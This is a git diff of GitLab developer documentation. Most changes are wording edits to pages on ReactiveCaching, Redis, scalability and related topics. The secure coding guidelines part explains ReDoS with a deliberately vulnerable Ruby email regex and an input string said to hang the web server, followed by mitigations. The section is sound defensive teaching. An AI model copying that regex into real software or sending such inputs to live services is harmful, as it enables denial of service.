again. +After the lifetime has expired, no more background jobs are enqueued and calling +`#with_reactive_cache` again returns `nil`, starting the process all over again. -### 1 MB hard limit +### Set a hard limit for ReactiveCaching -`ReactiveCaching` has a 1 megabyte default limit. [This value is configurable](#selfreactive_cache_worker_finder). +To preserve performance, you should set a hard caching limit in the class that includes +`ReactiveCaching`. See the example of [how to set it up](#selfreactive_cache_hard_limit). -If the data we're trying to cache has over 1 megabyte, it will not be cached and a handled `ReactiveCaching::ExceededReactiveCacheLimit` will be notified on Sentry. +For more information, read the internal issue +[Redis (or ReactiveCache) soft and hard limits](https://gitlab.com/gitlab-org/gitlab/-/issues/14015). ## When to use - If we need to make a request to an external API (for example, requests to the k8s API). -It is not advisable to keep the application server worker blocked for the duration of -the external request. + It is not advisable to keep the application server worker blocked for the duration of + the external request. - If a model needs to perform a lot of database calls or other time consuming -calculations. + calculations. ## How to use @@ -99,13 +101,13 @@ Controller endpoints that call a model or service method that uses `ReactiveCach not wait until the background worker completes. - An API that calls a model or service method that uses `ReactiveCaching` should return -`202 accepted` when the cache is being calculated (when `#with_reactive_cache` returns `nil`). + `202 accepted` when the cache is being calculated (when `#with_reactive_cache` returns `nil`). - It should also -[set the polling interval header](fe_guide/performance.md#realtime-components) with -`Gitlab::PollingInterval.set_header`. + [set the polling interval header](fe_guide/performance.md#realtime-components) with + `Gitlab::PollingInterval.set_header`. - The consumer of the API is expected to poll the API. - You can also consider implementing [ETag caching](polling.md) to reduce the server -load caused by polling. + load caused by polling. ### Methods to implement in a model or service @@ -113,17 +115,17 @@ These are methods that should be implemented in the model/service that includes #### `#calculate_reactive_cache` (required) -- This method must be implemented. Its return value will be cached. -- It will be called by `ReactiveCaching` when it needs to populate the cache. -- Any arguments passed to `with_reactive_cache` will also be passed to `calculate_reactive_cache`. +- This method must be implemented. Its return value is cached. +- It is called by `ReactiveCaching` when it needs to populate the cache. +- Any arguments passed to `with_reactive_cache` are also passed to `calculate_reactive_cache`. #### `#reactive_cache_updated` (optional) - This method can be implemented if needed. - It is called by the `ReactiveCaching` concern whenever the cache is updated. -If the cache is being refreshed and the new cache value is the same as the old cache -value, this method will not be called. It is only called if a new value is stored in -the cache. + If the cache is being refreshed and the new cache value is the same as the old cache + value, this method is not called. It is only called if a new value is stored in + the cache. - It can be used to perform an action whenever the cache is updated. ### Methods called by a model or service @@ -134,22 +136,22 @@ the model/service. #### `#with_reactive_cache` (required) - `with_reactive_cache` must be called where the result of `calculate_reactive_cache` -is required. + is required. - A block can be given to `with_reactive_cache`. `with_reactive_cache` can also take -any number of arguments. Any arguments passed to `with_reactive_cache` will be -passed to `calculate_reactive_cache`. The arguments passed to `with_reactive_cache` -will be appended to the cache key name. + any number of arguments. Any arguments passed to `with_reactive_cache` are + passed to `calculate_reactive_cache`. The arguments passed to `with_reactive_cache` + are appended to the cache key name. - If `with_reactive_cache` is called when the result has already been cached, the -block will be called, yielding the cached value and the return value of the block -will be returned by `with_reactive_cache`. It will also reset the timeout of the -cache to the `reactive_cache_lifetime` value. -- If the result has not been cached as yet, `with_reactive_cache` will return nil. -It will also enqueue a background job, which will call `calculate_reactive_cache` -and cache the result. -- Once the background job has completed and the result is cached, the next call -to `with_reactive_cache` will pick up the cached value. + block is called, yielding the cached value and the return value of the block + is returned by `with_reactive_cache`. It also resets the timeout of the + cache to the `reactive_cache_lifetime` value. +- If the result has not been cached as yet, `with_reactive_cache` return `nil`. + It also enqueues a background job, which calls `calculate_reactive_cache` + and caches the result. +- After the background job has completed and the result is cached, the next call + to `with_reactive_cache` picks up the cached value. - In the example below, `data` is the cached value which is yielded to the block -given to `with_reactive_cache`. + given to `with_reactive_cache`. ```ruby class Foo < ApplicationRecord @@ -170,16 +172,16 @@ given to `with_reactive_cache`. #### `#clear_reactive_cache!` (optional) - This method can be called when the cache needs to be expired/cleared. For example, -it can be called in an `after_save` callback in a model so that the cache is -cleared after the model is modified. + it can be called in an `after_save` callback in a model so that the cache is + cleared after the model is modified. - This method should be called with the same parameters that are passed to -`with_reactive_cache` because the parameters are part of the cache key. + `with_reactive_cache` because the parameters are part of the cache key. #### `#without_reactive_cache` (optional) - This is a convenience method that can be used for debugging purposes. - This method calls `calculate_reactive_cache` in the current process instead of -in a background worker. + in a background worker. ### Configurable options @@ -188,19 +190,19 @@ There are some `class_attribute` options which can be tweaked. #### `self.reactive_cache_key` - The value of this attribute is the prefix to the `data` and `alive` cache key names. -The parameters passed to `with_reactive_cache` form the rest of the cache key names. + The parameters passed to `with_reactive_cache` form the rest of the cache key names. - By default, this key uses the model's name and the ID of the record. ```ruby self.reactive_cache_key = -> (record) { [model_name.singular, record.id] } ``` -- The `data` and `alive` cache keys in this case will be `"ExampleModel:1:arg1:arg2"` -and `"ExampleModel:1:arg1:arg2:alive"` respectively, where `ExampleModel` is the -name of the model, `1` is the ID of the record, `arg1` and `arg2` are parameters -passed to `with_reactive_cache`. -- If you're including this concern in a service instead, you will need to override -the default by adding the following to your service: +- The `data` and `alive` cache keys in this case are `"ExampleModel:1:arg1:arg2"` + and `"ExampleModel:1:arg1:arg2:alive"` respectively, where `ExampleModel` is the + name of the model, `1` is the ID of the record, `arg1` and `arg2` are parameters + passed to `with_reactive_cache`. +- If you're including this concern in a service instead, you must override + the default by adding the following to your service: ```ruby self.reactive_cache_key = ->(service) { [service.class.model_name.singular, service.project_id] } @@ -212,7 +214,7 @@ the default by adding the following to your service: #### `self.reactive_cache_lease_timeout` - `ReactiveCaching` uses `Gitlab::ExclusiveLease` to ensure that the cache calculation -is never run concurrently by multiple workers. + is never run concurrently by multiple workers. - This attribute is the timeout for the `Gitlab::ExclusiveLease`. - It defaults to 2 minutes, but can be overridden if a different timeout is required. @@ -231,11 +233,11 @@ self.reactive_cache_lease_timeout = 1.minute #### `self.reactive_cache_lifetime` -- This is the duration after which the cache will be cleared if there are no requests. +- This is the duration after which the cache is cleared if there are no requests. - The default is 10 minutes. If there are no requests for this cache value for 10 minutes, -the cache will expire. -- If the cache value is requested before it expires, the timeout of the cache will -be reset to `reactive_cache_lifetime`. + the cache expires. +- If the cache value is requested before it expires, the timeout of the cache is + reset to `reactive_cache_lifetime`. ```ruby self.reactive_cache_lifetime = 10.minutes @@ -244,8 +246,8 @@ self.reactive_cache_lifetime = 10.minutes #### `self.reactive_cache_hard_limit` - This is the maximum data size that `ReactiveCaching` allows to be cached. -- The default is 1 megabyte. Data that goes over this value will not be cached -and will silently raise `ReactiveCaching::ExceededReactiveCacheLimit` on Sentry. +- The default is 1 megabyte. Data that goes over this value is not cached + and silently raises `ReactiveCaching::ExceededReactiveCacheLimit` on Sentry. ```ruby self.reactive_cache_hard_limit = 5.megabytes @@ -300,7 +302,7 @@ which `calculate_reactive_cache` can be called. end ``` - - In this example, the primary key ID will be passed to `reactive_cache_worker_finder` - along with the parameters passed to `with_reactive_cache`. + - In this example, the primary key ID is passed to `reactive_cache_worker_finder` + along with the parameters passed to `with_reactive_cache`. - The custom `reactive_cache_worker_finder` calls `.from_cache` with the parameters - passed to `with_reactive_cache`. + passed to `with_reactive_cache`. diff --git a/doc/development/redis.md b/doc/development/redis.md index 7ee8afda36a..bb725e3c321 100644 --- a/doc/development/redis.md +++ b/doc/development/redis.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Redis guidelines @@ -43,9 +43,9 @@ a single Redis server. This means that keys should **always** be globally unique across all categories. It is usually better to use immutable identifiers - project ID rather than -full path, for instance - in Redis key names. If full path is used, the key will -stop being consulted if the project is renamed. If the contents of the key are -invalidated by a name change, it is better to include a hook that will expire +full path, for instance - in Redis key names. If full path is used, the key +stops being consulted if the project is renamed. If the contents of the key are +invalidated by a name change, it is better to include a hook that expires the entry, instead of relying on the key changing. ### Multi-key commands @@ -106,7 +106,7 @@ requests that read the most data from the cache, we can just sort by ### The slow log -TIP: **Tip:** +NOTE: There is a [video showing how to see the slow log](https://youtu.be/BBI68QuYRH8) (GitLab internal) on GitLab.com @@ -195,7 +195,7 @@ provides a convenient interface for adding and counting values in HyperLogLogs. For cases where we need to efficiently check the whether an item is in a group of items, we can use a Redis set. [`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/set_cache.rb) -provides an `#include?` method that will use the +provides an `#include?` method that uses the [`SISMEMBER`](https://redis.io/commands/sismember) command, as well as `#read` to fetch all entries in the set. diff --git a/doc/development/refactoring_guide/index.md b/doc/development/refactoring_guide/index.md index 17deffb4cb2..224b6bf9b38 100644 --- a/doc/development/refactoring_guide/index.md +++ b/doc/development/refactoring_guide/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Refactoring guide diff --git a/doc/development/reference_processing.md b/doc/development/reference_processing.md index 07833c0d302..23c0861081d 100644 --- a/doc/development/reference_processing.md +++ b/doc/development/reference_processing.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments description: 'An introduction to reference parsers and reference filters, and a guide to their implementation.' --- @@ -101,7 +101,7 @@ format the reference as: This default implementation is not very efficient, because we need to call `#find_object` for each reference, which may require issuing a DB query every -time. For this reason, most reference filter implementations will instead use an +time. For this reason, most reference filter implementations instead use an optimization included in `AbstractReferenceFilter`: > `AbstractReferenceFilter` provides a lazily initialized value @@ -140,7 +140,7 @@ We are skipping: To avoid filtering such nodes for each `ReferenceFilter`, we do it only once and store the result in the result Hash of the pipeline as `result[:reference_filter_nodes]`. -Pipeline `result` is passed to each filter for modification, so every time when `ReferenceFilter` replaces text or link tag, filtered list (`reference_filter_nodes`) will be updated for the next filter to use. +Pipeline `result` is passed to each filter for modification, so every time when `ReferenceFilter` replaces text or link tag, filtered list (`reference_filter_nodes`) are updated for the next filter to use. ## Reference parsers @@ -199,4 +199,4 @@ In practice, all reference parsers inherit from [`BaseParser`](https://gitlab.co - `#nodes_user_can_reference(user, nodes)` to filter nodes directly. A failure to implement this class for each reference type means that the -application will raise exceptions during Markdown processing. +application raises exceptions during Markdown processing. diff --git a/doc/development/renaming_features.md b/doc/development/renaming_features.md index 02d1851dbfe..f7fc1c11e37 100644 --- a/doc/development/renaming_features.md +++ b/doc/development/renaming_features.md @@ -1,14 +1,14 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Renaming features Sometimes the business asks to change the name of a feature. Broadly speaking, there are 2 approaches to that task. They basically trade between immediate effort and future complexity/bug risk: -- Complete, rename everything in the repo. +- Complete, rename everything in the repository. - Pros: does not increase code complexity. - Cons: more work to execute, and higher risk of immediate bugs. - Façade, rename as little as possible; only the user-facing content like interfaces, @@ -22,9 +22,9 @@ The more of the following that are true, the more likely you should choose the f - You are not confident the new name is permanent. - The feature is susceptible to bugs (large, complex, needing refactor, etc). -- The renaming will be difficult to review (feature spans many lines, files, or repositories). -- The renaming will be disruptive in some way (database table renaming). +- The renaming is difficult to review (feature spans many lines, files, or repositories). +- The renaming is disruptive in some way (database table renaming). ## Consider a façade-first approach -The façade approach is not necessarily a final step. It can (and possibly *should*) be treated as the first step, where later iterations will accomplish the complete rename. +The façade approach is not necessarily a final step. It can (and possibly *should*) be treated as the first step, where later iterations accomplish the complete rename. diff --git a/doc/development/repository_mirroring.md b/doc/development/repository_mirroring.md index 02d1499ca35..4153bcf77a5 100644 --- a/doc/development/repository_mirroring.md +++ b/doc/development/repository_mirroring.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Repository mirroring @@ -9,9 +9,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Deep Dive In December 2018, Tiago Botelho hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on GitLab's [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) +on the GitLab [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) to share his domain specific knowledge with anyone who may work in this part of the -code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y), +codebase in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y), and the slides in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8693404888a941fd851f8a8ecdec9675/Gitlab_Create_-_Pull_Mirroring_Deep_Dive.pdf). Everything covered in this deep dive was accurate as of GitLab 11.6, and while specific details may have changed since then, it should still serve as a good introduction. diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md index 77534eea076..648f7104814 100644 --- a/doc/development/reusing_abstractions.md +++ b/doc/development/reusing_abstractions.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Guidelines for reusing abstractions diff --git a/doc/development/rolling_out_changes_using_feature_flags.md b/doc/development/rolling_out_changes_using_feature_flags.md index cff88388ba0..7456e8df8d9 100644 --- a/doc/development/rolling_out_changes_using_feature_flags.md +++ b/doc/development/rolling_out_changes_using_feature_flags.md @@ -3,3 +3,6 @@ redirect_to: 'feature_flags/index.md' --- This document was moved to [another location](feature_flags/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/routing.md b/doc/development/routing.md index cbae2b38427..2c2f6b2a558 100644 --- a/doc/development/routing.md +++ b/doc/development/routing.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Routing diff --git a/doc/development/scalability.md b/doc/development/scalability.md index 73f7c5e0915..a9b8fb4389f 100644 --- a/doc/development/scalability.md +++ b/doc/development/scalability.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab scalability @@ -16,7 +16,7 @@ scalability and reliability. _[diagram source - GitLab employees only](https://docs.google.com/drawings/d/1RTGtuoUrE0bDT-9smoHbFruhEMI4Ys6uNrufe5IA-VI/edit)_ The diagram above shows a GitLab reference architecture scaled up for 50,000 -users. We will discuss each component below. +users. We discuss each component below. ## Components @@ -26,11 +26,10 @@ The PostgreSQL database holds all metadata for projects, issues, merge requests, users, etc. The schema is managed by the Rails application [db/structure.sql](https://gitlab.com/gitlab-org/gitlab/blob/master/db/structure.sql). -GitLab Web/API servers and Sidekiq nodes talk directly to the database via a -Rails object relational model (ORM). Most SQL queries are accessed via this +GitLab Web/API servers and Sidekiq nodes talk directly to the database by using a +Rails object relational model (ORM). Most SQL queries are accessed by using this ORM, although some custom SQL is also written for performance or for -exploiting advanced PostgreSQL features (e.g. recursive CTEs, LATERAL JOINs, -etc.). +exploiting advanced PostgreSQL features (like recursive CTEs or LATERAL JOINs). The application has a tight coupling to the database schema. When the application starts, Rails queries the database schema, caching the tables and @@ -42,8 +41,8 @@ no-downtime changes](what_requires_downtime.md). #### Multi-tenancy A single database is used to store all customer data. Each user can belong to -many groups or projects, and the access level (e.g. guest, developer, -maintainer, etc.) to groups and projects determines what users can see and +many groups or projects, and the access level (including guest, developer, or +maintainer) to groups and projects determines what users can see and what they can access. Users with admin access can access all projects and even impersonate @@ -70,7 +69,7 @@ dates](https://gitlab.com/groups/gitlab-org/-/epics/2023). For example, the `events` and `audit_events` table are natural candidates for this kind of partitioning. -Sharding is likely more difficult and will require significant changes +Sharding is likely more difficult and requires significant changes to the schema and application. For example, if we have to store projects in many different databases, we immediately run into the question, "How can we retrieve data across different projects?" One answer to this is @@ -78,7 +77,7 @@ to abstract data access into API calls that abstract the database from the application, but this is a significant amount of work. There are solutions that may help abstract the sharding to some extent -from the application. For example, we will want to look at [Citus +from the application. For example, we want to look at [Citus Data](https://www.citusdata.com/product/community) closely. Citus Data provides a Rails plugin that adds a [tenant ID to ActiveRecord models](https://www.citusdata.com/blog/2017/01/05/easily-scale-out-multi-tenant-apps/). @@ -100,17 +99,16 @@ systems. A recent [database checkup shows a breakdown of the table sizes on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/8022#master-1022016101-8). -Since `merge_request_diff_files` contains over 1 TB of data, we will want to +Since `merge_request_diff_files` contains over 1 TB of data, we want to reduce/eliminate this table first. GitLab has support for [storing diffs in -object storage](../administration/merge_request_diffs.md), which we [will -want to do on +object storage](../administration/merge_request_diffs.md), which we [want to do on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7356). #### High availability There are several strategies to provide high-availability and redundancy: -- Write-ahead logs (WAL) streamed to object storage (e.g. S3, Google Cloud +- Write-ahead logs (WAL) streamed to object storage (for example, S3, or Google Cloud Storage). - Read-replicas (hot backups). - Delayed replicas. @@ -126,11 +124,10 @@ the read replicas. [Omnibus ships with both repmgr and Patroni](../administratio #### Load-balancing GitLab EE has [application support for load balancing using read -replicas](../administration/database_load_balancing.md). This load -balancer does some smart things that are not traditionally available in -standard load balancers. For example, the application will only consider a -replica if its replication lag is low (e.g. WAL data behind by < 100 -megabytes). +replicas](../administration/database_load_balancing.md). This load balancer does +some actions that aren't traditionally available in standard load balancers. For +example, the application considers a replica only if its replication lag is low +(for example, WAL data behind by less than 100 MB). More [details are in a blog post](https://about.gitlab.com/blog/2017/10/02/scaling-the-gitlab-database/). @@ -140,7 +137,7 @@ post](https://about.gitlab.com/blog/2017/10/02/scaling-the-gitlab-database/). As PostgreSQL forks a backend process for each request, PostgreSQL has a finite limit of connections that it can support, typically around 300 by default. Without a connection pooler like PgBouncer, it's quite possible to -hit connection limits. Once the limits are reached, then GitLab will generate +hit connection limits. Once the limits are reached, then GitLab generates errors or slow down as it waits for a connection to be available. #### High availability @@ -151,7 +148,7 @@ background job and/or Web requests. There are two ways to address this limitation: - Run multiple PgBouncer instances. -- Use a multi-threaded connection pooler (e.g. +- Use a multi-threaded connection pooler (for example, [Odyssey](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7776). On some Linux systems, it's possible to run [multiple PgBouncer instances on @@ -192,9 +189,9 @@ connections gracefully. There are three ways Redis is used in GitLab: -- Queues. Sidekiq jobs marshal jobs into JSON payloads. -- Persistent state. Session data, exclusive leases, etc. -- Cache. Repository data (e.g. Branch and tag names), view partials, etc. +- Queues: Sidekiq jobs marshal jobs into JSON payloads. +- Persistent state: Session data and exclusive leases. +- Cache: Repository data (like Branch and tag names) and view partials. For GitLab instances running at scale, splitting Redis usage into separate Redis clusters helps for two reasons: @@ -206,8 +203,8 @@ For example, the cache instance can behave like an least-recently used (LRU) cache by setting the `maxmemory` configuration option. That option should not be set for the queues or persistent clusters because data would be evicted from memory at random times. This would cause jobs to -be dropped on the floor, which would cause many problems (e.g. merges -not running, builds not updating, etc.). +be dropped on the floor, which would cause many problems (like merges +not running or builds not updating). Sidekiq also polls its queues quite frequently, and this activity can slow down other queries. For this reason, having a dedicated Redis @@ -219,7 +216,7 @@ Redis process. Single-core: Like PgBouncer, a single Redis process can only use one core. It does not support multi-threading. -Dumb secondaries: Redis secondaries (aka replicas) don't actually +Dumb secondaries: Redis secondaries (also known as replicas) don't actually handle any load. Unlike PostgreSQL secondaries, they don't even serve read queries. They simply replicate data from the primary and take over only when the primary fails. @@ -236,7 +233,7 @@ election to determine a new leader. No leader: A Redis cluster can get into a mode where there are no primaries. For example, this can happen if Redis nodes are misconfigured to follow the wrong node. Sometimes this requires forcing one node to -become a primary via the [`REPLICAOF NO ONE` +become a primary by using the [`REPLICAOF NO ONE` command](https://redis.io/commands/replicaof). ### Sidekiq @@ -254,14 +251,14 @@ The full list of jobs can be found in the [`app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/app/workers) and [`ee/app/workers`](https://gitlab.com/gitlab-org/gitlab/tree/master/ee/app/workers) -directories in the GitLab code base. +directories in the GitLab codebase. #### Runaway Queues As jobs are added to the Sidekiq queue, Sidekiq worker threads need to pull these jobs from the queue and finish them at a rate faster than -they are added. When an imbalance occurs (e.g. delays in the database, -slow jobs, etc.), Sidekiq queues can balloon and lead to runaway queues. +they are added. When an imbalance occurs (for example, delays in the database +or slow jobs), Sidekiq queues can balloon and lead to runaway queues. In recent months, many of these queues have ballooned due to delays in PostgreSQL, PgBouncer, and Redis. For example, PgBouncer saturation can @@ -278,11 +275,11 @@ in a timely manner: used to process each commit message in the push, but now it farms out this to `ProcessCommitWorker`. - Redistribute/gerrymander Sidekiq processes by queue - types. Long-running jobs (e.g. relating to project import) can often - squeeze out jobs that run fast (e.g. delivering e-mail). [This technique + types. Long-running jobs (for example, relating to project import) can often + squeeze out jobs that run fast (for example, delivering e-mail). [This technique was used in to optimize our existing Sidekiq deployment](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7219#note_218019483). - Optimize jobs. Eliminating unnecessary work, reducing network calls - (e.g. SQL, Gitaly, etc.), and optimizing processor time can yield significant + (including SQL and Gitaly), and optimizing processor time can yield significant benefits. From the Sidekiq logs, it's possible to see which jobs run the most diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index ebab0e59cc3..44a95f6e820 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -112,21 +112,43 @@ Here `params[:ip]` should not contain anything else but numbers and dots. Howeve In most cases the anchors `\A` for beginning of text and `\z` for end of text should be used instead of `^` and `$`. -## Denial of Service (ReDoS) +## Denial of Service (ReDoS) / Catastrophic Backtracking -[ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) is a possible attack if the attacker knows -or controls the regular expression (regex) used, and is able to enter user input to match against the bad regular expression. +When a regular expression (regex) is used to search for a string and can't find a match, +it may then backtrack to try other possibilities. + +For example when the regex `.*!$` matches the string `hello!`, the `.*` first matches +the entire string but then the `!` from the regex is unable to match because the +character has already been used. In that case, the Ruby regex engine _backtracks_ +one character to allow the `!` to match. + +[ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) +is an attack in which the attacker knows or controls the regular expression used. +The attacker may be able to enter user input that triggers this backtracking behavior in a +way that increases execution time by several orders of magnitude. ### Impact -The resource, for example Unicorn, Puma, or Sidekiq, can be made to hang as it takes a long time to evaluate the bad regex match. +The resource, for example Unicorn, Puma, or Sidekiq, can be made to hang as it takes +a long time to evaluate the bad regex match. The evaluation time may require manual +termination of the resource. ### Examples -GitLab-specific examples can be found in the following merge requests: +Here are some GitLab-specific examples. + +User inputs used to create regular expressions: + +- [User-controlled filename](https://gitlab.com/gitlab-org/gitlab/-/issues/257497) +- [User-controlled domain name](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25314) +- [User-controlled email address](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25122#note_289087459) -- [MR25314](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25314) -- [MR25122](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25122#note_289087459) +Hardcoded regular expressions with backtracking issues: + +- [Repository name validation](https://gitlab.com/gitlab-org/gitlab/-/issues/220019) +- [Link validation](https://gitlab.com/gitlab-org/gitlab/-/issues/218753), and [a bypass](https://gitlab.com/gitlab-org/gitlab/-/issues/273771) +- [Entity name validation](https://gitlab.com/gitlab-org/gitlab/-/issues/289934) +- [Validating color codes](https://gitlab.com/gitlab-org/gitlab/commit/717824144f8181bef524592eab882dd7525a60ef) Consider the following example application, which defines a check using a regular expression. A user entering `user@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!.com` as the email on a form will hang the web server. @@ -141,22 +163,32 @@ class Email < ApplicationRecord def domain_matches errors.add(:email, 'does not match') if email =~ DOMAIN_MATCH end +end ``` ### Mitigation -GitLab has `Gitlab::UntrustedRegexp` which internally uses the [`re2`](https://github.com/google/re2/wiki/Syntax) library. -By utilizing `re2`, we get a strict limit on total execution time, and a smaller subset of available regex features. +#### Ruby + +GitLab has [`Gitlab::UntrustedRegexp`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/untrusted_regexp.rb) + which internally uses the [`re2`](https://github.com/google/re2/wiki/Syntax) library. +`re2` does not support backtracking so we get constant execution time, and a smaller subset of available regex features. All user-provided regular expressions should use `Gitlab::UntrustedRegexp`. For other regular expressions, here are a few guidelines: -- Remove unnecessary backtracking. -- Avoid nested quantifiers if possible. -- Try to be as precise as possible in your regex and avoid the `.` if something else can be used (e.g.: Use `_[^_]+_` instead of `_.*_` to match `_text here_`). +- If there's a clean non-regex solution, such as `String#start_with?`, consider using it +- Ruby supports some advanced regex features like [atomic groups](https://www.regular-expressions.info/atomic.html) +and [possessive quantifiers](https://www.regular-expressions.info/possessive.html) that eleminate backtracking +- Avoid nested quantifiers if possible (for example `(a+)+`) +- Try to be as precise as possible in your regex and avoid the `.` if there's an alternative + - For example, Use `_[^_]+_` instead of `_.*_` to match `_text here_` +- If in doubt, don't hesitate to ping `@gitlab-com/gl-security/appsec` + +#### Go -An example can be found [in this commit](https://gitlab.com/gitlab-org/gitlab/commit/717824144f8181bef524592eab882dd7525a60ef). +Go's [`regexp`](https://golang.org/pkg/regexp/) package uses `re2` and isn't vulnerable to backtracking issues. ## Further Links @@ -299,7 +331,7 @@ Once you've [determined when and where](#setting-expectations) the user submitte - Content placed inside [HTML URL GET parameters](https://youtu.be/2VFavqfDS6w?t=3494) need to be [URL-encoded](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#rule-5---url-escape-before-inserting-untrusted-data-into-html-url-parameter-values) - [Additional contexts may require context-specific encoding](https://youtu.be/2VFavqfDS6w?t=2341). -### Additional info +### Additional information #### XSS mitigation and prevention in Rails @@ -466,7 +498,7 @@ where you can't avoid this: characters, for example). - Always use `--` to separate options from arguments. -### Ruby +#### Ruby Consider using `system("command", "arg0", "arg1", ...)` whenever you can. This prevents an attacker from concatenating commands. @@ -475,7 +507,7 @@ For more examples on how to use shell commands securely, consult [Guidelines for shell commands in the GitLab codebase](shell_commands.md). It contains various examples on how to securely call OS commands. -### Go +#### Go Go has built-in protections that usually prevent an attacker from successfully injecting OS commands. @@ -558,4 +590,3 @@ In order to prevent this from happening, it is recommended to use the method `us forbidden!(api_access_denied_message(user)) end ``` -
\ No newline at end of file diff --git a/doc/development/serializing_data.md b/doc/development/serializing_data.md index 83a75eef556..f5924a44753 100644 --- a/doc/development/serializing_data.md +++ b/doc/development/serializing_data.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Serializing Data diff --git a/doc/development/service_measurement.md b/doc/development/service_measurement.md index 571bbddb494..91fb8248db4 100644 --- a/doc/development/service_measurement.md +++ b/doc/development/service_measurement.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Developers Guide to service measurement @@ -19,7 +19,7 @@ The measuring module is a tool that allows to measure a service's execution, and - RSS memory usage - Server worker ID -The measuring module will log these measurements into a structured log called [`service_measurement.log`](../administration/logs.md#service_measurementlog), +The measuring module logs these measurements into a structured log called [`service_measurement.log`](../administration/logs.md#service_measurementlog), as a single entry for each service execution. For GitLab.com, `service_measurement.log` is ingested in Elasticsearch and Kibana as part of our monitoring solution. @@ -43,7 +43,7 @@ DummyService.prepend(Measurable) In case when you are prepending a module from the `EE` namespace with EE features, you need to prepend Measurable after prepending the `EE` module. -This way, `Measurable` will be at the bottom of the ancestor chain, in order to measure execution of `EE` features as well: +This way, `Measurable` is at the bottom of the ancestor chain, in order to measure execution of `EE` features as well: ```ruby class DummyService @@ -69,7 +69,7 @@ def extra_attributes_for_measurement end ``` -After the measurement module is injected in the service, it will 